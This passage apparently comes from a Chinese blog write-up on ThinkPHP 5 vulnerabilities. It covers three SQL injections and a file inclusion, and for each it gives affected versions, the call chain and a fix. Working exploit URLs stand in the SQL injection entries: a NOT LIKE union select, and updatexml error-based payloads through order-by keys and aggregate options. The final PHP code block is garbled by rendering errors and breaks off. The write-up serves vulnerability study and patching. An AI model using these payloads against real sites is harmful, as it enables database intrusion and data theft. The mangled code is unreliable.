漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤
### 4、 thinkphp5 SQL注入4
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10
攻击链:
payload =>
Request::input() =>
filterValue() =>
Mysql::select() =>
Builder::select() :对sql 语句模板进行变量填充
=> Builder::buildWhere()
=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制
![](https://img-blog.csdnimg.cn/4c613092c2854a3d8e323c59e009de12.png)
漏洞利用:
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()
漏洞修复:在 filterValue 中过滤 NOT LIKE
### 5、 thinkphp5 sql注入5
漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
攻击链:
payload =>
Request::input() =>
filterCalue():过滤函数未对数组的键进行过滤
=> Query::order()
=> Query::find()
=> Connection::find()
=> Builder::select()
=> str_replace() :将数据填充到SQL模板语句
=> Builder::parseOrder()
=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串
![](https://img-blog.csdnimg.cn/b721b48e68134998ad0fae2958ef536d.png)
漏洞利用:
http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号
### 6、 thinkphp5 sql注入6
漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
攻击链:
payload =>
Query::max() =>
Query::aggregate() =>
Connection::aggregate() =>
Connection::parseKey() =>
Builder::select() =>
str_replace() =>
Builder::parseField() :直接拼接SQL语句
![](https://img-blog.csdnimg.cn/b699d3596a4649b9a0596932c1549c67.png)
漏洞利用:
http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
不同版本 payload 需稍作调整:
5.0.0~5.0.21 、 5.1.3~5.1.10 :
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 :
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`
漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常
### 7、thinkphp5 文件包含漏洞
漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
public function read($cacheFile, $vars = [])
{
$this->cacheFile = c a c h e F i l e ; i f ( ! e m p t y ( cacheFile; if (!empty( cacheFile;if(!empty(vars) && is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: … if (isset(vars[‘cacheFile’])){
$_think_cacheFile = $cacheFile;
$cacheFile = v a r s [ ′ c a c h e F i l e ′ ] ; u n s e t ( vars['cacheFile']; unset( vars[′cacheFile′];unset(vars[‘cacheFile’], v a r s [ t ′ h i n k c a c h e F i l